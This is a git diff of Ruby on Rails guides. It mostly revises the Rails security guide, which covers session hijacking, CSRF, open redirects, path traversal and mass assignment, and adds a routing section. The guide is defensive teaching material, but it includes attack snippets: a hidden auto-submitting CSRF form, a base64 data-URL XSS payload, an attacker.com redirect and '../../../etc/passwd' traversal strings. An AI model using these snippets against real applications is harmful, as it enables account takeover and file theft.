ba4fea8fe3..ba4fea8fe3 100644 --- a/railties/doc/guides/migrations/scheming.txt +++ b/railties/doc/guides/source/migrations/scheming.txt diff --git a/railties/doc/guides/migrations/using_models_in_migrations.txt b/railties/doc/guides/source/migrations/using_models_in_migrations.txt index 35a4c6fdfd..35a4c6fdfd 100644 --- a/railties/doc/guides/migrations/using_models_in_migrations.txt +++ b/railties/doc/guides/source/migrations/using_models_in_migrations.txt diff --git a/railties/doc/guides/migrations/writing_a_migration.txt b/railties/doc/guides/source/migrations/writing_a_migration.txt index 2a2b6217d8..2a2b6217d8 100644 --- a/railties/doc/guides/migrations/writing_a_migration.txt +++ b/railties/doc/guides/source/migrations/writing_a_migration.txt diff --git a/railties/doc/guides/routing/routing_outside_in.txt b/railties/doc/guides/source/routing_outside_in.txt index ff41bc0257..716c362c76 100644 --- a/railties/doc/guides/routing/routing_outside_in.txt +++ b/railties/doc/guides/source/routing_outside_in.txt @@ -551,6 +551,33 @@ If you like, you can combine shallow nesting with the +:has_one+ and +:has_many+ ------------------------------------------------------- map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true ------------------------------------------------------- + +=== Route Generation from Arrays + +In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb: + +[source, ruby] +------------------------------------------------------- +map.resources :magazines do |magazine| + magazine.resources :ads +end +------------------------------------------------------- + +Rails will generate helpers such as magazine_ad_path that you can use in building links: + +[source, ruby] +------------------------------------------------------- +<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %> +------------------------------------------------------- + +Another way to refer to the same route is with an array of objects: + +[source, ruby] +------------------------------------------------------- +<%= link_to "Ad details", [@magazine, @ad] %> +------------------------------------------------------- + +This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link. === Namespaced Resources diff --git a/railties/doc/guides/securing_rails_applications/security.txt b/railties/doc/guides/source/security.txt index aa1fcf4171..d068a22491 100644 --- a/railties/doc/guides/securing_rails_applications/security.txt +++ b/railties/doc/guides/source/security.txt @@ -14,62 +14,64 @@ mail me at 42 {_et_} rorsecurity.info. After reading it, you should be familiar == Introduction -Web application frameworks are made to help developers building web applications. Some of them also help you securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see all Rails applications I audited, had a good level of security. +Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security. -In general there is no such thing as plug-n-play security. It depends on the people using it, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). +In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person. -The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, we have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. +The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems. == Sessions +A good place to start looking at security is with sessions, which can be vulnerable to particular attacks. + === What are sessions? --- _HTTP is a stateless protocol, sessions make it stateful._ +-- _HTTP is a stateless protocol Sessions make it stateful._ Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. -Rails will create a new session automatically if a new user accesses the application. It will load an existing one, if the user has already used the application. +Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application. -A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round, the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: +A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: -.................................... +[source, ruby] +---------------------------------------------------------------------------- session[:user_id] = @current_user.id User.find(session[:user_id]) -.................................... +---------------------------------------------------------------------------- === Session id --- _The session id is a 32 bytes long MD5 hash value._ - -It consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has no security impact to date. +-- _The session id is a 32 byte long MD5 hash value._ +A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date. === Session hijacking -- _Stealing a user's session id lets an attacker use the web application in the victim's name._ -Many web applications have an authentication system: A user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session. +Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session. Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: -- Sniff the cookie in an insecure network. Wireless LAN is an example for such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. One more reason not to work from a coffee store. For the web application builder this means to [,#fffcdb]#provide a secure connection over SSL#. +- Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to [,#fffcdb]#provide a secure connection over SSL#. - Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a [,#fffcdb]#log-out button# in the web application, and [,#fffcdb]#make it prominent#. -- Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. Read more about XSS later. +- Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later. - Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. -The main objective of attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security Threat Report]. +The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security Threat Report]. === Session guidelines -- _Here are some general guidelines on sessions._ -- [,#fffcdb]#Do not store large objects in a session#. Instead you should store them in the database and save its id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). +- [,#fffcdb]#Do not store large objects in a session#. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate. - [,#fffcdb]#Critical data should not be stored in session#. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. @@ -77,7 +79,7 @@ This will also be a good idea, if you modify the structure of an object and old === Session storage --- _Rails provides several storage mechanisms for the session hashes, the most important are ActiveRecordStore and CookieStore._ +-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. @@ -87,7 +89,7 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves - The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, [,#fffcdb]#you don't want to store any secrets here#. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. -That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, and has not been compromised, yet). So [,#fffcdb]#don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters#. Put the secret in your environment.rb: +That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So [,#fffcdb]#don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters#. Put the secret in your environment.rb: .................................... config.action_controller.session = { @@ -98,10 +100,9 @@ config.action_controller.session = { There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it. - === Replay attacks for CookieStore sessions --- _Another sort of attacks you have to be aware of when using CookieStore, are replay attacks._ +-- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._ It works like this: @@ -111,20 +112,19 @@ It works like this: - The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. - The user has his credit back. -Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore avoiding accessing the database. +Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). The best [,#fffcdb]#solution against it is not to store this kind of data in a session, but in the database#. In this case store the credit in the database and the logged_in_user_id in the session. - === Session fixation --- _Apart from stealing a user's session id, the attacker may fixate a session id known to him. This is called session fixation._ +-- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ image::images/session_fixation.png[Session fixation] This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: -. The attacker creates a valid session id: He loads the login page of the web application where he wants to fixate the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). +. The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). . He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. @@ -137,16 +137,16 @@ Read more about XSS and injection later on. . From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. - === Session fixation – Countermeasures -- _One line of code will protect you from session fixation._ The most effective countermeasure is to [,#fffcdb]#issue a new session identifier# and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails: -............. +[source, ruby] +---------------------------------------------------------------------------- reset_session -............. +---------------------------------------------------------------------------- If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, [,#fffcdb]#you have to transfer them to the new session#. @@ -154,12 +154,12 @@ Another countermeasure is to [,#fffcdb]#save user-specific properties in the ses === Session expiry --- _Never expiring sessions extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ +-- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to [,#fffcdb]#expire sessions in a database table#. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago. - -.................................. +[source, ruby] +---------------------------------------------------------------------------- class Session < ActiveRecord::Base def self.sweep(time_ago = nil)
time = case time_ago @@ -171,12 +171,14 @@ class Session < ActiveRecord::Base
self.delete_all "updated_at < '#{time.to_s(:db)}'"
end
end -.................................. - -The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions created a long time ago. Use this line in the sweep method above: +---------------------------------------------------------------------------- -+self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"+ +The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above: +[source, ruby] +---------------------------------------------------------------------------- +self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'" +---------------------------------------------------------------------------- == Cross-Site Reference Forgery (CSRF) -- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._ @@ -190,11 +192,11 @@ In the session chapter you have learned that most Rails applications use cookie- - Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. - By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. - The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. -- Bob doesn't notice the attack, only a few days later he finds out that project number one is gone. +- Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone. It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email. -CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures), less than 0.1% in 2006, but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – [,#fffcdb]#CSRF is an important security issue#. +CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – [,#fffcdb]#CSRF is an important security issue#. === CSRF Countermeasures @@ -212,9 +214,9 @@ The HTTP protocol basically provides two main types of requests - GET and POST ( - The interaction [,#fffcdb]#changes the state# of the resource in a way that the user would perceive (e.g., a subscription to a service), or - The user is [,#fffcdb]#held accountable for the results# of the interaction. -If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden _method field to handle this barrier. +If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. -[,#fffcdb]#The verify method in a controller can make sure that specific actions may not be used over GET#. Here is an example to verify use of the transfer action over POST, otherwise it redirects to the list action. +[,#fffcdb]#The verify method in a controller can make sure that specific actions may not be used over GET#. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action. ................................................................................. verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list} @@ -224,7 +226,8 @@ With this precaution, the attack from above will not work, because the browser s But this was only the first step, because [,#fffcdb]#POST requests can be send automatically, too#. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. -............................................ +[source, html] +---------------------------------------------------------------------------- <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; @@ -233,7 +236,7 @@ But this was only the first step, because [,#fffcdb]#POST requests can be send a f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a> -............................................ +---------------------------------------------------------------------------- Or the attacker places the code into the onmouseover event handler of an image: @@ -243,22 +246,26 @@ There are many other possibilities, including Ajax to attack the victim in the b +protect_from_forgery :secret => "123456789012345678901234567890..."+ -This will automatically include a security token, calculated of the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected. +This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected. Note that [,#fffcdb]#cross-site scripting (XSS) vulnerabilities bypass all CSRF protections#. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later. == Redirection and Files + +Another class of security vulnerabilities surrounds the use of redirection and files in web applications. + === Redirection -- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: -.......... +[source, ruby] +---------------------------------------------------------------------------- def legacy redirect_to(params.update(:action=>'main')) end -.......... +---------------------------------------------------------------------------- This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL: @@ -267,20 +274,23 @@ This will redirect the user to the main action if he tried to access a legacy ac If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to [,#fffcdb]#include only the expected parameters in a legacy action# (again a whitelist approach, as opposed to removing unexpected parameters). [,#fffcdb]#And if you redirect to an URL, check it with a whitelist or a regular expression#. ==== Self-contained XSS -Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML, JavaScript to entire images: + +Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images: +data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+ This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, [,#fffcdb]#do not allow the user to supply (parts of) the URL to be redirected to#. === File uploads --- _Make sure file uploads don't overwrite important files and process media files asynchronously._ -Many web applications allow users to upload files. [,#fffcdb]#File names, which the user may choose (partly), should always be filtered# as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it will overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. +-- _Make sure file uploads don't overwrite important files, and process media files asynchronously._ + +Many web applications allow users to upload files. [,#fffcdb]#File names, which the user may choose (partly), should always be filtered# as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. -When filtering user input file names, [,#fffcdb]#don't try to remove malicious parts#. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “….//” - the result will be “../”. It is best to use a whitelist approach, which [,#fffcdb]#checks for the validity of a file name with a set of accepted characters#. This is opposed to a blacklist approach which removes not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the http://github.com/technoweenie/attachment_fu/tree/master[attachment_fu plugin]: +When filtering user input file names, [,#fffcdb]#don't try to remove malicious parts#. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which [,#fffcdb]#checks for the validity of a file name with a set of accepted characters#. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the http://github.com/technoweenie/attachment_fu/tree/master[attachment_fu plugin]: -............................... +[source, ruby] +---------------------------------------------------------------------------- def sanitize_filename(filename) returning filename.strip do |name| # NOTE: File.basename doesn't work right with Windows paths on Unix @@ -291,13 +301,14 @@ def sanitize_filename(filename) name.gsub! /[^\w\.\-]/, '_' end end -............................... +---------------------------------------------------------------------------- A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its [,#fffcdb]#vulnerability to denial-of-service attacks#. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. The solution to this, is best to [,#fffcdb]#process media files asynchronously#: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. === Executable code in file uploads + -- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory._ The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file. @@ -305,40 +316,42 @@ The popular Apache web server has an option called DocumentRoot. This is the hom [,#fffcdb]#If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it#, store files at least one level downwards. === File downloads + -- _Make sure users cannot download arbitrary files._ Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded: -........................... +[source, ruby] +---------------------------------------------------------------------------- send_file('/var/www/uploads/' + params[:filename]) -........................... +---------------------------------------------------------------------------- Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to [,#fffcdb]#check that the requested file is in the expected directory#: -........................... +[source, ruby] +---------------------------------------------------------------------------- basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) filename = File.expand_path(File.join(basename, @file.public_filename)) raise if basename =! File.expand_path(File.join(File.dirname(filename), '../../../')) send_file filename, :disposition => 'inline' -........................... +---------------------------------------------------------------------------- Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way. - - == Intranet and Admin security + -- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._ In 2007 there was the first tailor-made http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html[Trojan] which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
*XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. -Already one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer. +Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer. Refer to the Injection section for countermeasures against XSS. It is [,#fffcdb]#recommended to use the SafeErb plugin# also in an Intranet or administration interface. -*CSRF* Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above, how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. +*CSRF* Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. A real-world example is a http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html[router reconfiguration by CSRF]. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. @@ -349,7 +362,8 @@ Another popular attack is to spam your web application, your blog or forum to pr For [,#fffcdb]#countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section#. === Additional precautions -The common admin interface is like this: It's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this: + +The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this: - It is very important to [,#fffcdb]#think about the worst case#: What if someone really got hold of my cookie or user credentials. You could [,#fffcdb]#introduce roles# for the admin interface to limit the possibilities of the attacker. Or how about [,#fffcdb]#special login credentials# for the admin interface, other than the ones used for the public part of the application. Or a [,#fffcdb]#special password for very serious actions#? @@ -357,18 +371,19 @@ The common admin interface is like this: It's located at www.example.com/admin, - [,#fffcdb]#Put the admin interface to a special sub-domain# such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. - == Mass assignment + -- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._ The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method: -.......... +[source, ruby] +---------------------------------------------------------------------------- def signup params[:user] #=> {:name => “ow3ned”, :admin => true} @user = User.new(params[:user]) end -.......... +---------------------------------------------------------------------------- Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this: @@ -378,37 +393,42 @@ http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1 This will set the following parameters in the controller: -.......... +[source, ruby] +---------------------------------------------------------------------------- params[:user] #=> {:name => “ow3ned”, :admin => true} -.......... +---------------------------------------------------------------------------- So if you create a new user using mass-assignment, it may be too easy to become an administrator. - === Countermeasures + To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example: -.......... +[source, ruby] +---------------------------------------------------------------------------- attr_protected :admin -.......... +---------------------------------------------------------------------------- A much better way, because it follows the whitelist-principle, is the [,#fffcdb]#attr_accessible method#. It is the exact opposite of attr_protected, because [,#fffcdb]#it takes a list of attributes that will be accessible#. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example: -.......... +[source, ruby] +---------------------------------------------------------------------------- attr_accessible :name -.......... +---------------------------------------------------------------------------- If you want to set a protected attribute, you will to have to assign it individually: -.......... +[source, ruby] +---------------------------------------------------------------------------- params[:user] #=> {:name => "ow3ned", :admin => true} @user = User.new(params[:user]) @user.admin #=> false # not mass-assigned @user.admin = true @user.admin #=> true -.......... +---------------------------------------------------------------------------- == User management + -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is [,#fffcdb]#restful_authentication# which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances. @@ -422,9 +442,10 @@ http://localhost:3006/user/activate?id= This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action: -.......... +[source, ruby] +---------------------------------------------------------------------------- User.find_by_activation_code(params[:id]) -.......... +---------------------------------------------------------------------------- If the parameter was nil, the resulting SQL query will be @@ -434,11 +455,11 @@ SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1 And thus it found the first user in the database, returned it and logged him in. You can find out more about it in http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/[my blog post]. [,#fffcdb]#It is advisable to update your plug-ins from time to time#. Moreover, you can review your application to find more flaws like this. - === Brute-forcing accounts + -- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._ -A list of user name's for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes. +A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes. Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names. @@ -446,20 +467,24 @@ However, what most web application designers neglect, are the forgot-password pa In order to mitigate such attacks, 